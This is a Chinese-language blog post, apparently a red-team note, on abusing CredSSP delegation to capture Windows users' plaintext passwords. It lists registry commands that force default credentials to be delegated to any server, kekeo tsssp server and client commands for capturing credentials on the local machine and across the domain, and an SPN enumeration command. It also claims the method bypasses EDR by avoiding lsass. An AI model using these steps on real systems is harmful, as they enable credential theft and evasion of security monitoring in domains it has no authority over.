Credssp

Credssp利用

credssp

CredSSP协议的目的是将用户的明文密码从CredSSP客户端委派给CredSSP服务器

CredSSP通常应用于远程桌面服务(Remote Desktop Protocol)和Windows远程管理(Windows Remote Management)(例如Powershell Remoting)

CredSSP提供了加密的传输层安全协议通道。协商协议使用Kerberos和NTLM

原理

综上,如果我们实现以下操作:

  • 修改主机A的组策略,设置为自动发送当前用户的凭据
  • 在主机B上面实现服务端的功能,接收主机A发送的请求

那么当我们控制主机A连接主机B时,主机B就能够获得主机A用户的明文口令

CredSSP协议细节可参考:

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cssp/85f57821-40bb-46aa-bfcb-ba9590b8fc30

更近一步,如果我们实现以下操作:

  • 修改主机A的组策略,设置为自动发送当前用户的凭据
  • 在主机A上面实现服务端的功能,接收主机A自己发送的请求

我们同样能够获得用户的明文口令

操作

  1. 通过注册表修改组策略

    1
    2
    3
    4
    5
    6
    reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefaultCredentials /t REG_DWORD /d 1
    reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v AllowDefCredentialsWhenNTLMOnly /t REG_DWORD /d 1
    reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefault /t REG_DWORD /d 1
    reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation /v ConcatenateDefaults_AllowDefNTLMOnly /t REG_DWORD /d 1
    reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefaultCredentials /v 1 /t REG_SZ /d *
    reg add hklm\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation\AllowDefCredentialsWhenNTLMOnly /v 1 /t REG_SZ /d *

    添加后需要用户重新认证平局才会被存储。

  2. 域内本机

    使用 kekeo(普通用户权限) :

    1
    2
    tsssp::server
    tsssp::client /target:anyword
  3. 域内远程

    1
    2
    # system权限
    tsssp::server

    远程机器

    1
    tsssp::client /target:TERMSRV/COMPUTER01.test.com /pipe:\\COMPUTER01.test.com\pipe\kekeo_tsssp_endpoint

    这里使用的参数为域内计算机帐户对应的SPN

    查看test域内所有spn

    1
    setspn.exe -T test -q */*

    优势

不需要利用lsass,绕过edr检测


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!